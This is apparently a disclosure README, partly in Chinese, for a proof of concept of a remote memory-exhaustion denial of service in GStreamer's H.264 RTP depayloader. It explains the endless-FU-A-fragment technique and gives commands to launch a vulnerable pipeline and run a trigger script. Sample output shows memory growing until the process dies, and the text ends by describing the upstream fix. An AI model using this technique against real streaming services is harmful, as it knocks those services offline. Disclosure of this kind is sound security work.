
Proof of concept for CVE-2026-18649, a remote denial of service vulnerability in GStreamer's H.264 RTP depayloader (rtph264depay).
针对 GStreamer H.264 RTP 解载荷器(rtph264depay)中资源耗尽漏洞的概念验证代码。相同的模式也影响 rtph265depay。
在 H.264 FU-A 分片 RTP 重组过程中,每个传入分片都会被推送到内部的 GstAdapter 缓冲区,且缓冲区大小没有上限。适配器仅在 FU 头中设置了分片结束(E)位时才会刷新。远程攻击者先发送一个有效的起始分片,然后持续发送无限数量的后续分片,但始终不设置 E 位。缓冲区不断增长,直至进程内存耗尽并崩溃。
完整分析报告:0xsemizzz.vercel.app/projects/gstreamer-cve
上游修复之前的 gst-plugins-good 版本。已在 1.28.2(Ubuntu 24.04)上确认受影响。
启动一条管道,然后运行 PoC:
gst-launch-1.0 udpsrc port=5036 buffer-size=4194304 \
caps="application/x-rtp,media=video,payload=96,clock-rate=90000,encoding-name=H264" \
! rtph264depay ! fakesink &
PID=$!
python3 trigger.py 5036 $PID
若要快速崩溃,可添加内存限制:
ulimit -v 262144 # 256 MB, process dies in about 12 seconds
gst-launch-1.0 udpsrc port=5036 buffer-size=4194304 \
caps="application/x-rtp,media=video,payload=96,clock-rate=90000,encoding-name=H264" \
! rtph264depay ! fakesink &
python3 trigger.py 5036 $!
[*] port=5036 1 fragment every 0.5ms (~2.8 MB/s)
[*] monitoring VmData (heap), not RSS
[*] target PID=12345 baseline VmData=26 MB
5000 frags ~ 7 MB sent | VmData=35MB (+8MB)
10000 frags ~ 13 MB sent | VmData=44MB (+17MB)
15000 frags ~ 20 MB sent | VmData=53MB (+26MB)
20000 frags ~ 27 MB sent | VmData=62MB (+35MB)
25000 frags ~ 33 MB sent | VmData=71MB (+44MB)
30000 frags ~ 40 MB sent | VmData=79MB (+53MB)
...
DEAD
已为 rtph264depay 和 rtph265depay 添加 max-reassembly-size 属性。应用程序应将其设置为合理值(视频通常为 16 MB)。默认值为 0(无限制),以保持向后兼容。